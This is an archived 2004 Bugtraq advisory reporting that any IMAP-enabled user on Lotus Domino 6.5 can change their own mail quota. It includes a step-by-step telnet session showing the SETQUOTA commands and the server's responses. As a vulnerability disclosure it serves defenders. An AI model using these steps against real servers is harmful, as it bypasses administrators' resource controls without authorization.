bugtraq - Unprevileged user can change quota on Domino

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 30 Jun 2004 22:09:57 +0200 (CEST)
From: Andreas Klein <Andreas.C.Klein@...sik.uni-wuerzburg.de>
To: bugtraq@...urityfocus.com
Subject: Unprevileged user can change quota on Domino



Hello,

this problem has been reported to IBM Lotus customer support on
January 19,2004.

Affected versions:
Domino 6.5.0/6.5.1 (other versionns not tested by me)

Abstract:
Every user can change his quota on an imap-enabled Domino server to every 
value he likes.

Detailed description:
If your mailfile is imap-enabled and you have access to an imap-enabled 
Domino-server you can change your quota to arbitrary values.
To do this make a telnet conntection to the imap-server and use the 
setquota command to change the quota. If the server only accepts imaps 
connections you can use stunnel or openssl s_client.
Here is an example for an unencrypted session:
# telnet imap 143               
	Trying ip-address      
	Connected to imap.           
	Escape character is '^]'.       
	* OK Domino IMAP4 Server Release 6.5 ready Mon, 19 Jan 2004 01:40:03 +0100    
1 capability     
	* CAPABILITY IMAP4rev1 AUTH=PLAIN LITERAL+ NAMESPACE QUOTA UIDPLUS
	1 OK CAPABILITY completed
2 login user password
	2 OK LOGIN completed
3 getquota               
	* QUOTA "" (STORAGE 45548 10240)                                    
	3 OK GETQUOTA completed
4 setquota "" (storage 50000)
	* QUOTA "" (STORAGE 45548 50000)
	4 OK SETQUOTA completed
5 getquota
	* QUOTA "" (STORAGE 45548 50000)
	5 OK GETQUOTA completed
6 logout               

Solution:
No solution is provided by IBM by now. You can watch the proceeding by 
watching for SPR# SEGN5VEFHE. This will not be fixed in the R6 codestream. 
R7 will probably contain the fix.